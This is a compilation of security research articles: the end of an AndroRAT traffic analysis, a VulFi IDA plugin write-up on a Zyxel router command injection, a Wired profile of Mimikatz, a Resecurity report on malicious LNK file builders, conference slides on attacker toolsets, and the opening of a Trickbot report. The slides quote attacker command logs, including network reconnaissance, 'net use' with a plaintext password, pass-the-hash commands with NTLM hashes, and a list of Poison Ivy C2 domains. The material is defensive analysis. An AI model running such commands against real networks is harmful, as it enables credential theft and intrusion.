As an example, we took the C&C command ‘Directory List’. The communication goes as follows:
1. The C&C sends the command ‘Directory List’ with the directory as an argument.
2. The phone sends the confirmation of the command being received.
3. The phone sends the required data, i.e., file list in the directory.
## Long Connections
If we use the Wireshark tool to analyze all the traffic, we can open the menu “Conversations”, then “Statistics”, then “TCP”. There were several connections between the C&C (147.32.83.234) and the phone (10.8.0.37). The longest connection established between the C&C and the phone is 2611.3454 seconds long (approximately 44 minutes). This indicates that the connections between the phone and the controller are kept for a long period of time in order to answer fast.
## Conclusion
In this blog, we have analyzed the network traffic from a phone infected with AndroRAT. We were able to decode its connection. The AndroRAT does not seem to be complex in its communication protocol and it is not sophisticated in its work.
To summarize, the details found in the network traffic of this RAT are:
- The phone connects directly to the IP address and ports specified in APK (default port and custom port).
- There is only one long connection, i.e., more than 40 minutes, between the phone and the controller over the port 1337/TCP.
- There is no heartbeat between the controller and the phone.
- The data is sent in plaintext.
- The C&C uses mapping to present the C&C command as a single character.
- Packets sent from the phone have a structure of `{byteTotalLength} {byteLocalLength} {byteMoreF} {bytePointeurData} {byteChannel} {data}`.
- Packets sent from the C&C have a structure of `{byteTotalLength} {byteLocalLength} {byteMoreF} {bytePointeurData} {byteChannel} {C&C command} {targetChannel} {arguments}`. |
# Finding Vulnerabilities with VulFi IDA Plugin
In March, we published an IDA Pro plugin that Accenture Security teams use to find vulnerabilities and other potentially interesting issues in compiled binaries. The plugin provides a Python-based query language with which users can look for calls to specific functions that match criteria specified in the query. In this article, we will look at the high-level theory behind this tool and demonstrate its use on a practical example of finding vulnerabilities identified as CVE-2022-26413 and CVE-2022-26414.
## How the plugin works
When doing vulnerability research, it is quite common to look for a call to certain functions. While cross-references shown by IDA are a good starting point, the idea for this plugin came from the need to filter thousands of uninteresting calls to a function and find only those that might be valuable from a security perspective.
To give a very generic example, imagine a binary file that calls a function like `strcpy` a thousand times. Out of all these occurrences, all use a static string as a second parameter, with only 50 exceptions. Without a way to filter the function calls based on the properties of the parameters that are passed to them (and their return value), the analyst would have to investigate all 1,000 cross-references. Most of them would have to be dismissed as uninteresting due to the use of static values in the second argument.
This is the kind of case that’s perfect for a plugin developed using the IDAPython API. The goals for the plugin are quite easy to define. We want an architecture-agnostic way of filtering function calls based on the properties of the parameters and returned values. The property could be, for example, whether the parameter is a constant value. In that case, we also want a way to check for specific constant values.
IDA offers a plethora of functions for processing disassembly as well as decompiler output. In cases where the decompiler could be used, the plugin will work much better because the Hex-Rays processing that happens under the hood allows the VulFi plugin to access much more accurate values for function call parameters. For cases where the disassembly is the only option, the task is a bit harder. If possible, the VulFi will try to apply function type for all known functions as defined in this file prior to running the search. With this, it will leverage the possibility to locate the assembly instruction that is responsible for loading the parameter and try to deduce its value from it. In case the type system is not supported for the architecture, the VulFi will just mark all the cross-references for the function and put them in the table.
With the search concluded, the results are placed in the VulFi view. Since the plugin was developed with the assumption that search results will likely be numerous, a simple tracking and commenting feature was added to the plugin.
## An example usage of the VulFi plugin
### 1. Finding the right target
For the practical example, I will use the firmware of the Zyxel VMG3312-T20A router that I happen to have in my drawer. The manufacturer announced some time ago that this model had reached the end of its life. Nonetheless, according to internal validations performed by Zyxel, the discovered vulnerabilities also affect several products that are still supported.
The firmware for the router could be downloaded. With the firmware image downloaded, we can inspect its content. The most interesting file is `V530ABFX5C0.bin` (mainly because of its size, but also because of the filename extension). The `V530ABFX5C0.bin` file can be easily processed using a binwalk utility. This will successfully detect and extract a SquashFS file system.
The extracted contents of the file system probably contain many interesting files; however, since we know that the router in question has a feature-packed web interface, the best place to try the plugin would be the file `/bin/zhttpd`. This file implements the logic of handling the requests coming from the user browser and thus provides a convenient way for us to test any potential issues.
### 2. Initial peek at the binary
The initial analysis of the binary starts by loading it in IDA Pro. After the analysis is completed, we can see that the binary is an ELF file for a 32-bit big-endian MIPS architecture. After looking around the used functions, we can see that the binary is using the function `system`, which is used for executing OS commands.
To make life for VulFi easier, we must set the function type according to the official documentation. We can also check the current count of the cross-references to this function. This binary contains a total of 69 unique calls to the function `system`.
### 3. Using VulFi
Let’s see if VulFi can save us some time by only showing us those calls in which the first and only argument of the `system` function is set to a non-static value. To find out, we must set a custom rule that will look for such occasions. To initiate a setup of the new rule, set IDA view to the body of the function that you want to look for, right-click anywhere in the body (in this case, we right-click the `system` label) and select the option “Add current function to VulFi”.
Selecting this option will spawn a simple dialog with two required fields. The first field is the name of the new custom rule so that you can easily find it amongst other results that might already be in the result list. The second field is where you specify the rule. Since we are looking for any occurrence of the call to the `system` function where the first parameter is not a constant value, the rule will have a specific form.
A brief description of the above rule is likely required at this point. We start with the `not` keyword to negate the expression. We are looking for the first parameter, which is why we use an array of parameters called `param` and we use the first item in the list (`[0]`). The state of the parameter that we are interested in is whether it is a constant. This can be achieved by calling a function `is_constant()` on the parameter object. The negation will ensure that we only get results where the `is_constant()` function returned `False`. The syntax is very similar to conditions as written in Python. In fact, this is Python code, just that several functions have been prepared for you to build a sort of query language.
When you press the Run button, VulFi will see if the decompiler for the given architecture is available and if it is, it will automatically use it. After the process of searching is completed, you will be presented with the VulFi results view. In the case of the `zhttpd` binary and the search for the rule defined above, we can see that thanks to VulFi, we are left with only 31 out of the original 69 cross-references.
### 4. Inspecting a vulnerable code (CVE-2022-26413)
To answer the question in the subtitle for this section, we can just look at the VulFi results. Amongst all the detected calls to the `system` function, let’s have a look at the function `sub_40C3E8`. This can be easily done by double-clicking the line with this function in VulFi, which will automatically switch the main IDA view to the location where the call was identified.
Please note that for the sake of better readability, the remainder of this article uses the decompiler in IDA. The marked call to the `system` function does indeed accept a dynamic argument. The vulnerability occurs on line 74 in the above snippet. To reach that code, you must invoke action `import_ca`. This is done by sending a multipart request with the CA file in the parameter called `certImportFileName`. As can be deduced from the code on line 69, the name of the file sent in the multipart request will be used in the `sprintf` function to build a command string that is passed to the `system` function on line 74.
Since we have identified a place that is most likely vulnerable, we can go back to the VulFi view and use a right-click on the given item to either set a custom comment or to set a status for the item to one of the available options (False Positive, Suspicious, or Vulnerable). This feature was added to make tracking of the progress easier as it is assumed that larger binaries will take multiple days to process.
### 5. Exploitation
Finally, we should prove the exploitability of the issue that we just found. That requires capturing a request in the intercepting proxy of our choice (BurpSuite is used in the example) and sending it with a modified filename parameter. The value set in this parameter instructed the router to execute the `ls -l` command and pass the result of it to the attacker machine via a `nc` connection. This was successful and thus a possibility to inject OS commands was proven.
## Vulnerability Disclosure Process
The following dates are important milestones related to the discovered vulnerabilities:
- 13 January 2022 – Issues reported to Zyxel
- 16 January 2022 – Vulnerabilities were acknowledged to be existent in the End-of-Life product
- 12 April 2022 – Advisory published by Zyxel
Accenture Security is a leading provider of end-to-end cybersecurity services, including advanced cyber defense, applied cybersecurity solutions, and managed security operations. We bring security innovation, coupled with global scale and a worldwide delivery capability through our network of Advanced Technology and Intelligent Operations centers. Helped by our team of highly skilled professionals, we enable clients to innovate safely, build cyber resilience, and grow with confidence. |
# He Perfected a Password-Hacking Tool—Then the Russians Came Calling
**Andy Greenberg**
November 9, 2017
Five years ago, Benjamin Delpy walked into his room at the President Hotel in Moscow and found a man dressed in a dark suit with his hands on Delpy's laptop. Just a few minutes earlier, the then 25-year-old French programmer had made a quick trip to the front desk to complain about the room's internet connection. He had arrived two days ahead of a talk he was scheduled to give at a nearby security conference and found that there was no Wi-Fi, and the ethernet jack wasn't working. Downstairs, one of the hotel's staff insisted he wait while a technician was sent up to fix it. Delpy refused and went back to wait in the room instead.
When he returned, as Delpy tells it, he was shocked to find the stranger standing at the room's desk, a small black rollerboard suitcase by his side, his fingers hurriedly retracting from Delpy's keyboard. The laptop still showed a locked Windows login screen. The man mumbled an apology in English about his keycard working on the wrong room, brushed past Delpy, and was out the door before Delpy could even react. "It was all very strange for me," Delpy says today. "Like being in a spy film."
It didn't take Delpy long to guess why his laptop had been the target of a literal black bag job. It contained the subject of his presentation at the Moscow conference, an early version of a program he'd written called Mimikatz. That subtly powerful hacking tool was designed to siphon a Windows user's password out of the ephemeral murk of a computer's memory, so that it could be used to gain repeated access to that computer, or to any others that victim's account could access on the same network. The Russians, like hackers around the world, wanted Delpy's source code.
In the years since, Delpy has released that code to the public, and Mimikatz has become a ubiquitous tool in all manner of hacker penetrations, allowing intruders to quickly leapfrog from one connected machine on a network to the next as soon as they gain an initial foothold.
Most recently, it came into the spotlight as a component of two ransomware worms that have torn through Ukraine and spread across Europe, Russia, and the US: Both NotPetya and last month's BadRabbit ransomware strains paired Mimikatz with leaked NSA hacking tools to create automated attacks whose infections rapidly saturated networks, with disastrous results. NotPetya alone led to the paralysis of thousands of computers at companies like Maersk, Merck, and FedEx, and is believed to have caused well over a billion dollars in damages.
Those internet-shaking ripples were enabled, at least in part, by a program that Delpy coded on a lark. An IT manager for a French government institution that he declines to name, Delpy says he originally built Mimikatz as a side project, to learn more about Windows security and the C programming language—and to prove to Microsoft that Windows included a serious security flaw in its handling of passwords.
His proof-of-concept achieved its intended effect: In more recent versions of Windows, the company changed its authentication system to make Mimikatz-like attacks significantly more difficult. But not before Delpy's tool had entered the arsenal of every resourceful hacker on the planet. "Mimikatz wasn’t at all designed for attackers. But it's helped them," Delpy says in his understated and French-tinged English. "When you create something like this for good, you know it can be used by the bad side too."
Even today, despite Microsoft's attempted fixes, Mimikatz remains an all-too-useful hacker tool, says Jake Williams, a penetration tester and founder of security firm Rendition Infosec. "When I read a threat intelligence report that says someone used Mimikatz, I say, 'tell me about one that doesn’t,'" Williams says. "Everyone uses it, because it works."
## Secrets for the Taking
Mimikatz first became a key hacker asset thanks to its ability to exploit an obscure Windows function called WDigest. That feature is designed to make it more convenient for corporate and government Windows users to prove their identity to different applications on their network or on the web; it holds their authentication credentials in memory and automatically reuses them, so they only have to enter their username and password once.
While Windows keeps that copy of the user's password encrypted, it also keeps a copy of the secret key to decrypt it handy in memory, too. "It’s like storing a password-protected secret in an email with the password in the same email," Delpy says.
Delpy pointed out that potential security lapse to Microsoft in a message submitted on the company's support page in 2011. But he says the company brushed off his warning, responding that it wasn't a real flaw. After all, a hacker would already have to gain deep access to a victim's machine before he or she could reach that password in memory. Microsoft said as much in response to WIRED's questions about Mimikatz: "It’s important to note that for this tool to be deployed it requires that a system already be compromised," the company said in a statement. "To help stay protected, we recommend customers follow security best practices and apply the latest updates."
But Delpy saw that in practice, the Windows authentication system would still provide a powerful stepping stone for hackers trying to expand their infection from one machine to many on a network. If a piece of malware could run with administrative privileges, it could scoop up the encrypted password from memory along with the key to decrypt it, then use them to access another computer on the network. If another user was logged into that machine, the attacker could run the same program on the second computer to steal their password—and on and on.
So Delpy coded Mimikatz—whose name uses the French slang prefix "mimi," meaning "cute," thus "cute cats"—as a way to demonstrate that problem to Microsoft. He released it publicly in May 2011, but as a closed source program. "Because you don’t want to fix it, I’ll show it to the world to make people aware of it," Delpy says of his attitude at the time. "It turns out it takes years to make changes at Microsoft. The bad guys didn’t wait."
Before long, Delpy saw Chinese users in hacker forums discussing Mimikatz and trying to reverse-engineer it. Then in mid-2011, he learned for the first time—he declines to say from whom—that Mimikatz had been used in an intrusion of a foreign government network. "The first time I felt very, very bad about it," he remembers.
That September, Mimikatz was used in the landmark hack of DigiNotar, one of the certificate authorities that assures that websites using HTTPS are who they claim to be. That intrusion let the unidentified hackers issue fraudulent certificates, which were then used to spy on thousands of Iranians, according to security researchers at Fox-IT. DigiNotar was blacklisted by web browsers and subsequently went bankrupt.
## The Second Russian Man in a Suit
In early 2012, Delpy was invited to speak about his Windows security work at the Moscow conference Positive Hack Days. He accepted—a little naively, still thinking that Mimikatz's tricks must have already been known to most state-sponsored hackers. But even after the run-in with the man in his hotel room, the Russians weren't done. As soon as he finished giving his talk to a crowd of hackers in an old Soviet factory building, another man in a dark suit approached him and brusquely demanded he put his conference slides and a copy of Mimikatz on a USB drive.
Delpy complied. Then, before he'd even left Russia, he published the code open source on Github, both fearing for his own physical safety if he kept the tool's code secret and figuring that if hackers were going to use his tool, defenders should understand it too.
As the use of Mimikatz spread, Microsoft in 2013 finally added the ability in Windows 8.1 to disable WDigest, neutering Mimikatz's most powerful feature. By Windows 10, the company would disable the exploitable function by default. But Rendition's Williams points out that even today, Mimikatz remains effective on almost every Windows machine he encounters, either because those machines run outdated versions of the operating system, or because he can gain enough privileges on a victim's computer to simply switch on WDigest even if it's disabled. "My total time-on-target to evade that fix is about 30 seconds," Williams says.
In recent years, Mimikatz has been used in attacks ranging from the Russian hack of the German parliament to the Carbanak gang's multimillion dollar bank thefts. But the NotPetya and BadRabbit ransomware outbreaks used Mimikatz in a particularly devious way: They incorporated the attacks into self-propagating worms and combined it with the EternalBlue and EternalRomance NSA hacking tools leaked by the hacker group known as Shadow Brokers earlier this year. Those tools allow the malware to spread via Microsoft's Server Message Block protocol to any connected system that isn't patched against the attack. And along with Mimikatz, they added up to a tag-team approach that maximizes those automated infections. "When you mix these two technologies, it’s very powerful," says Delpy. "You can infect computers that aren’t patched, and then you can grab the passwords from those computers to infect other computers that are patched."
Despite those attacks, Delpy hasn't distanced himself from Mimikatz. On the contrary, he has continued to hone his creation, speaking about it publicly and even adding more features over the years. Mimikatz today has become an entire utility belt of Windows authentication tricks, from stealing hashed passwords and passing them off as credentials, to generating fraudulent "tickets" that serve as identifying tokens in Microsoft's Kerberos authentication system, to stealing passwords from the auto-populating features in Chrome and Edge browsers. Mimikatz today even includes a feature to cheat in Windows' Minesweeper game, pulling out the location of every mine in the game from the computer's memory.
Delpy says that before adding a feature that exploits any serious new security issue in Windows, he does alert Microsoft, sometimes months in advance. Still, it has grown into quite the repository. "It's my toolbox, where I put all of my ideas," Delpy says.
## A Bitter Password-Protection Pill
Each of those features—the Minesweeper hack included—is intended not to enable criminals and spies but to demonstrate Windows' security quirks and weaknesses, both in the way it's built and the way that careless corporations and governments use it. After all, Delpy says, if systems administrators limit the privileges of their users, Mimikatz can't get the administrative access it needs to start hopping to other computers and stealing more credentials. And the Shadow Brokers' leak from the NSA in fact revealed that the agency had its own Mimikatz-like program for exploiting WDigest—though it's not clear which came first.
"If Mimikatz has been used to steal your passwords, your main problem is not Mimikatz," Delpy says. Mimikatz is nonetheless "insanely powerful," says UC Berkeley security researcher Nicholas Weaver. But he says that doesn't mean Delpy should be blamed for the attacks it's helped to enable. "I think we must be honest: If it wasn't Mimikatz there would be some other tool," says Weaver. "These are fundamental problems present in how people administer large groups of computers."
And even as thieves and spies use Mimikatz again and again, the tool has also allowed penetration testers to unambiguously show executives and bureaucrats their flawed security architectures, argues Rendition security's Williams. And it has pressured Microsoft to slowly alter the Windows authentication architecture to fix the flaws Mimikatz exploits. "Mimikatz has done more to advance security than any other tool I can think of," Williams says.
Even Microsoft seems to have learned to appreciate Delpy's work. He's spoken at two of the company's Blue Hat security conferences, and this year was invited to join one of its review boards for new research submissions. As for Delpy, he has no regrets about his work. Better to be hounded by Russian spies than to leave Microsoft's gaping vulnerability a secret for those spies alone to exploit. "I created this to show Microsoft this isn't a theoretical problem, that it’s a real problem," he says. "Without real data, without dangerous data, they never would have done anything to change it." |
# Shortcut-based (LNK) Attacks Delivering Malicious Code on the Rise
Cybercriminals are always looking for innovative techniques to evade security solutions. Based on the Resecurity® HUNTER assessment, attackers are actively leveraging tools allowing them to generate malicious shortcut files (.LNK files) for payload delivery. Resecurity, Inc. (USA), a Los Angeles-based cybersecurity company protecting Fortune 500's worldwide, has detected an update to one of the most popular tools used by cybercriminals. The tool in question generates malicious LNK files and is frequently used for malicious payload deliveries these days.
MLNK Builder has emerged in the Dark Web with their new version (4.2), and the updated feature set focuses on AV evasion and masquerading with icons from legitimately popular applications and file formats. The notable spike of campaigns involving malicious shortcuts (LNK files) conducted by both APT groups and advanced cybercriminals was detected in April-May this year – Bumblebee Loader and UAC-0010 (Armageddon) targeting EU Countries described by CERT UA.
Malicious shortcuts continue to give hard times to network defenders, especially when combating global botnet and ransomware activity, using them as a channel for multi-staged payload deliveries. According to experts from Resecurity, the existing MLNK Builder customers will receive an update for free, but the authors have also released a “Private Edition” which is only available to a tight circle of vetted customers, requiring an additional license costing $125 per build.
The updated tool provides a rich arsenal of options and settings to generate malicious files to appear as legitimate Microsoft Word, Adobe PDF, ZIP Archives, images (.JPG/.PNG), audio (.MP3), and even video (.AVI) files, as well as more advanced features to obfuscate malicious payloads.
Bad actors continue to develop creative ways to trick detection mechanisms enabling them the successful delivery of their malicious payloads – by leveraging combinations of extensions and different file formats, as well as Living Off the Land Binaries (LOLbins). The most actively used malware families leveraging LNK-based distribution are TA570, Oakboat (aka Qbot), IcedID, AsyncRAT, and the new strain of Emotet. The most recent Qakbot distribution campaign also included malicious Word documents using the CVE-2022-30190 (Follina) zero-day vulnerability in the Microsoft Support Diagnostic Tool (MSDT).
Some notable campaigns have been detected in April-May 2022. The cybercriminal activity utilized related APT attacks targeting private and public sectors:
- UAC-0010 (Armageddon) Activity targeting EU Countries
The bad actors are using malicious LNK files in combination with ISO (via extension spoofing) to confuse the antivirus logic and endpoint protection solutions. It’s interesting to note how well-known products in the industry are not able to properly detect and analyze them.
## What is the LNK file?
Shell Link Binary File Format contains information that can be used to access another data object. The Shell Link Binary File Format is the format of Windows files with the extension ".LNK". LNK is a filename extension for shortcuts to local files in Windows. LNK file shortcuts provide quick access to executable files (.exe) without the users navigating the program's full path. Files with the Shell Link Binary File Format (.LNK) contain metadata about the executable file, including the original path to the target application. Windows uses this data to support the launching of applications, linking of scenarios, and storing application references to a target file. We all use .LNK files as shortcuts in our Desktop, Control Panel, Task Menu, and Windows Explorer.
## Why Attackers Use LNK Files
Such files typically look legitimate and may have an icon the same as an existing application or document. The bad actors incorporate malicious code into LNK files (e.g., PowerShell scenario) allowing the execution of the payload on the target machine.
### The Process of a Malicious .LNK
Let’s review a sample of a malicious LNK file in more detail. In this example, PowerShell code was embedded inside the file which will be executed after the victim clicks on the LNK file. We have examined the structure of the file using Malcat. The logic of the scenario allows bypassing the execution policy and downloading the file from an external resource and executing it.
We observed a campaign that delivered Bumblebee through contact forms on a target’s website. The messages claimed that the website used stolen images and included a link that ultimately delivered an ISO file containing the malware. Resecurity attributed this campaign to another threat actor the company tracks as TA578 and has done since May 2020. TA578 uses email campaigns to deliver malware like Ursnif, IcedID, KPOT Stealer, Buer Loader, and BazaLoader, as well as Cobalt Strike. Our researchers detected another campaign in April that hijacked email threads to deliver the Bumblebee malware loader in replies to the target with an archived ISO attachment.
### LNK File Executes DLL Malware File
So, we can extract the hidden file with pass. After that, we can examine the .ISO contents which include a document file (.LNK file) and namr.dll file. From the previous figure, we identify how the .LNK file contains a command to execute the .DLL file.
## How Attackers Generate Malicious LNK Files
Attackers can generate malicious shortcuts via tools available for sale in the Dark Web. One such tool is advertised in a Telegram channel “Native-One.xyz | Products & Software | Exploit" called mLNK builder – it grants the ability to convert any payload into a .LNK file format. Cybercriminals can purchase mLNK builder by using one of the three available plans, starting from a one month to 3 month plan and then a private option (providing unique stub). The price of the tool starts from $100 (per month) with the option to evade Windows Defender, Smart Screen, and UAC.
The features of the mLNK builder include bypassing the following solutions:
1. Windows Defender
2. Windows Defender Memory
3. Windows Defender Cloud Scanner
4. Smart Screen Alert
5. AMSI and MUCH MORE!
After buying the tool, the author of the tool will send you a text file containing the credentials to login. After we opened the link, we found this page, we must enter the credentials which were sent by the author. Recently they published a new version of the tool, it will be free to all the old users, and it now also contains new icons like Documents and PDF.
### The Analysis of the Tool
When examining the sub_401350, we can see how the tool uses ShellExecuteA to execute the PowerShell code. This PowerShell communicates with C&C. After downloading the binary from C&C, we can decode the payload by using the base64 decoder, then use AES decryption to decrypt the payload.
After decrypting the payload, we got a second PowerShell code that’s used to validate the credentials. After executing the tool, the email and password used to register are required once again. We register with the email and password, then we get the GUI for the tool enabling us to start converting payloads into .LNK files.
We can see the folder setup the tool uses which has a Decoders payloads, also we can see the shortcuts for the converted payloads. We create four payloads to test detection. After creating the payloads, we start importing them one by one to create shortcuts for them. We test detection by using Windows Defender and others.
After that, we can build the decoder. After decoding the payload, it will save in the Decoders folders. And after that, we can import the URL of the decoded payload and create the .LNK.
Now, we can build the .LNK file. Finally, we can see the .LNK file in the shortcut folder. So, now we can examine the target file and see how the .LNK file was created.
From the previous figure, we can see how the target contains PowerShell code. Now, we want to test the detection of the payload. The attackers recently generated a new .LNK file with the PowerShell icon, this is not common. The .LNK technique nowadays is widely used.
As observed, the newest version of mLNK Builder demonstrated very low detection rates by popular antivirus products which increases the effectiveness of the malicious .LNK files in cyber-attacks. Recently we found Qakbot was using the LNK technique.
Also, we observed how Bumblebee used the LNK technique via OneDrive URLs -> IMG -> LNK -> BAT -> DLL. After we extracted the ISO, we found these files; the shortcut contained code to run the batch file. The batch contains this code to run the DLL library.
Also, we have found a new one related to Matanbuchus. Matanbuchus Loader is a new malware-as-a-service created by a threat actor who references demonic themes in software and usernames. It appears as a normal file but contains malicious code within it. The malicious code will ping a malicious domain to create a new directory “ItF5”, and it will download a new file as an image, then change it to a new file and run it.
## IOCs
- fa15b97a6bb4d34e84dfb060b7114a5d
- a4e45d28631ea2dd178f314f1362f213
- e82abc3b442ca4828d84ebaa3f070246
- d1f00a08ecedd4aed664f5a0fb74f387
- 567dde18d84ceb426dfd181492cee959
- ff942b936242769123c61b5b76a4c7ad
- bfc3995ae78a66b857863ad032a311ae
- 3952caf999263773be599357388159e0
- 3053114b52f1f4b51d1639f8a93a8d4a
- ac664772dc648e84aa3bec4de0c50c6c
- 59923950923f8d1b5c7c9241335dff8c
- 673ecadfd3f6f348c9d676fd1ed4389a
- 27c86be535bedfb6891068f9381660ac
- 75d993bbd6f20b5294c89ae5125c3451
- d2b90fa83209f7ca05d743c037f1f78c
- 7d8d6338cf47b62524b746ef9530b07f
- 3ac4a01e62766d2a447a515d9b346dbb
- 2b41c35010693c4adffb43bfca65c122
- 7b67f5c27df1ba2fb4a2843a9a24268b
- 6a00d0a9e6c4ec79408393984172a635
- 51c2e7a75c14303e09b76c9812641671
- d1a288f0ec71789621d1f6cce42973c8
- 4abfe9a42ef90201a6fa6945deacfc86
- b58e53c6120c2f33749c4f3f31d2713d
- 86dbd6d9376cec15f624685e1349dd86
- 625ea570a70a4640c46c8eddc2f8c562
- 59ddeeed7cb3198f3d961df323c314517a6c0ee096b894330b9e43e4d1dc9c5b
- 5b99c3a4c9fd79a90fd7f2d0c743de73c4a4c053fb326752c061ce5ab6a1c16f
- c7d4272fd706f4a07973bc644501afc0d423a9cc47c21fd4cad45686c4a7cd80
- D9927533C620C8A499B386A375CB93C17634801F8E216550BD840D4DBDD4C5C6
- e722083fbfacdea81b4e86251c004a1b90f864928af1369aa021559cb55aba75
- 115D7891A2ABBE038C12CCC9ED3CFEEDFDD1242E51BCC67BFA22C7CC2567FB10 |
# WHY ATTACKER TOOLSETS DO WHAT THEY DO
(or.. “Reasons they just keep working”)
Matt McCormack
## OVER THE LAST YEAR
- 50+ engagements
- Good chunk of different verticals, industries, etc.
- Varying qualities and effectiveness of defenses
- Collective noun of different Threat Groups
… but really? Similar tools and tactics
## THE MAGIC OF INTERPRETIVE DANCE
- Pick through this year’s interesting engagements
- Construct a convenient narrative
- Discuss the common blind-spots the tools keep leveraging
- Explore Reasons They Just Keep Working (RIJKW)
### OUR SCENARIO
#### RTJKW #1: AD HOC DEPLOYMENTS
- Deploy and forget (bonus: default configurations)
- External teams not looping in the security team
- Third-party systems without patch management
- Cloud infrastructure: the new frontier of terrible
### THE VOLUME GAME
- Scan and exploit; because eventually it will work
### CHINACHOPPER POST
- Webshell all the things
#### OWA: WHO NEEDS THE DC?
- ISAPI filter (.NET)
- OwaAuth.Application_EndRequest()
- Receives request after submitted
- Extract username and password from login, save to text file
- Parse traffic for magic key, password, and params for backdoor
- OwaAuth.ShowError()
- List, read, write, delete, modify files and directories
- Timestomp file or directory
- Download file from URL
- Launch process
- Connect, query, write to SQL server
### OUR SCENARIO… SO FAR
#### ACEHASH: ALL THE HASHES
- Mimikatz
- Custom-compiled PE executes sekurlsa::logonpasswords command automatically
- Ace1
- Custom DLL, uses samsrv.dll APIs to dump hashes from disk/registry
- Ace2
- Custom DLL, based on WCE, uses msv1_0.dll APIs for LM/NTLM
- InjectMemDll
- Inject above when required
### OUR SCENARIO… SO FAR
#### RTJKW #2: CREDENTIAL “ISSUES”
- Golden images are convenient, as is scripting installs
- Same local Admin passwords is … not great
- Failing to restrict local Admin over network
- Insecurely storing passwords on network
```
"whoami"
"ipconfig" /all
"net" time /domain
"net" start query
"netstat" -an
"ping" -n 1 www.nba.com
"net" view /domain
"net" localgroup administrators
"net" user adm_it /domain
"cmd" /c dir C:\users\
"net" group "Domain Admins" /domain
"C:\Windows\system32\net1 group "Domain Admins" /domain
"nltest" /trust_domain
“C:\windows\temp\nbtscan.exe 10.16.2.1/24 ">C:\windows\temp\nb.txt"
"net" use \\10.16.2.208 "Changeme!" /user:CORP\CS_ADM_IT
"cmd" /c dir \\10.16.2.208\c$
"dir \\10.16.2.208\c$
"net" use \\10.16.2.208\c$ "Changeme!" /user:CORP\CS_ADM_IT
"C:\windows\temp\acehash64.exe -s adm_qa:CORP:AAD3B435B51404EEAAD3B435B51404EE:A5B440A4C4E1965E6F5905A08AF6F2DE"
"dir \\10.16.2.233\c$"
"C:\windows\temp\acehash64.exe -s Administrator:123:AAD3B435B51404EEAAD3B435B51404EE:A67C071444ED771589B736189B08F2AD"
"dir \\10.16.2.208\c$"
"C:\windows\temp\acehash64.exe -s Administrator:123:AAD3B435B51404EEAAD3B435B51404EE:A67C071444ED771589B736189B08F2AD"
"dir \\10.16.2.204\c$\inetpub\"
```
### OUR SCENARIO… SO FAR
#### RTJKW #3: BOTTLENCK BRO?
- Chokepoints using (authenticating) proxies
- Central point to log, gather/apply intel, block, etc.
- Many basic RATs/Toolsets/Malware won’t work
- Unfettered internet access is a terrible idea
### POISON IVY
- Grandfather of Chinese targeted RATs (circa 2004)
- Custom TCP C&C protocol
- Still deployed, updated but only basic proxy support seen this year
- Volatility + Chopshop + metasploit modules available
```
hellointra.no-ip.org,3460
cmdexe.no-ip.biz
hellointra.myftp.org,3440
microsoft32.no-ip.biz
namesvrtwo.serveftp.com,8888
ga2a.no-ip.biz
namesvrone.myftp.org,8989
exw.no-ip.info
m2013.no-ip.org,443
60.235.12.64
update17.ignorelist.com,443
hack43mila.no-ip.biz
sap123.no-ip.biz,3480
cool-t.no-ip.biz
sap123.servehttp.com,5460
alnweer2009.no-ip.info
statictwo.myftp.org,9999
alnweer2009.no-ip.org
staticone.hopto.org,9898
test.no-ip.org
banse.zapto.org,4444
sero.ddns.net
gserverhost.no-ip.biz,6666
serix21.no-ip.biz
gserverhost.myftp.org,5555
evil3322.no-ip.biz
connektme.no-ip.org,6460
zxoo.no-ip.biz
connektme.hopto.org,7539
m55m55m44.no-ip.org
easyconnect.zapto.org,3333
easyconnect.no-ip.org,4444
swepc.no-ip.biz,3460
```
### OUR SCENARIO… SO FAR
#### RTJKW #4: DOMAIN SEPARATION
- Strict separation, limited accounts, hardcore logging
- Extends to shared infrastructure, third parties, BYOD
- Trying to avoid these points being like those really fun ball pits, but for privileged credentials
### OUR SCENARIO… SO FAR
#### RTJKW #5: POROUS FIREWALLS
- Don’t forget about the non-TCP protocols
- Unit test and regression test the perimeter
- Segmentation is a thing
### EXPOSING YOUR BITS
- Windows update component for file transfer
### PLUGX
- Been around since 2011, actively developed
- Modular construction to evade sandboxing, etc.
- C&C via UDP, DNS over UDP, CUSTOM over TCP, HTTP, HTTPS, ICMP, customer over IP
- Plugin infrastructure
#### PLUGINS
- Read/write/enumerate files, registry
- Download/execute files
- Enumerate, read, write, inject, kill processes
- Port forward/proxy traffic, enumerate network
- Full SQL driver interface
- RDP, keylog, screenshot, video
### OUR SCENARIO… SO FAR
#### RIJKW #6: INTERNAL BLINDNESS
- Some visibility inside the network is … useful
- Common for newer RATs to have P2P
- Routing traffic through the network to reach other targets
### RBDOOR
- Alternative to PlugX, full RAT functionality too
- Both 64 and 32 bit versions
- C&C via TCP, UDP, HTTP, HTTPS, ...
- Traffic relay is also built in
### RBDOOR ROUTING
- Everything done via IP/TCP header modification
- Main functionality:
- Drop packets from blacklist
- Route packets to new destination port in whitelist
- Capture session cookies by routing to magic port
### NOT EVEN NORTON DSE WILL SAVE YOU
- Sometimes you just want to load your dodgy network driver on an x64 system
- DSE from Vista onwards “stops” that
- Unless … it doesn’t?
### TL; DR
- “APT”s - mostly not very A, but usually very P
- 80/20 of network security will thwart the average intruder
- The adversary reuses tools and tactics; if they get in, you should have home ground advantage. Use it. |
# A Modern Ninja: Evasive Trickbot Attacks Customers of 60 High-Profile Companies
February 16, 2022
Research by: Aliaksandr Trafimchuk, Raman Ladutska
This research comes as a follow-up to our previous article on Trickbot, “When Old Friends Meet Again: Why Emotet Chose Trickbot For Rebirth,” where we provided an overview of the Trickbot infrastructure after its takedown. Check Point Research (CPR) now sheds some light on the technical details of key Trickbot modules.
Trickbot is a sophisticated and versatile malware with more than 20 modules that can be downloaded and executed on demand. Such modules allow the execution of all kinds of malicious activities and pose great danger to the customers of 60 high-profile financial (including cryptocurrency) and technology companies, mainly located in the United States. These brands are not the victims, but their customers might be the targets.
We previously discussed the decentralized and effective Trickbot infrastructure, and now we see that the malware is very selective in how it chooses its targets. Various tricks – including anti-analysis – implemented inside the modules show the authors’ highly technical background and explain why Trickbot remains a very prevalent malware family.
Below is a heat-map with the percentage of organizations that were affected by Trickbot in each country in 2021:
### Percentage of impacted organizations by Trickbot (the darker the color – the higher the impact)
| Region | Organizations affected | Percentage |
|------------------|-----------------------|------------|
| World | 1 of every 45 | 2.2% |
| APAC | 1 of every 30 | 3.3% |
| Latin America | 1 of every 47 | 2.1% |
| Europe | 1 of every 54 | 1.9% |
| Africa | 1 of every 57 | 1.8% |
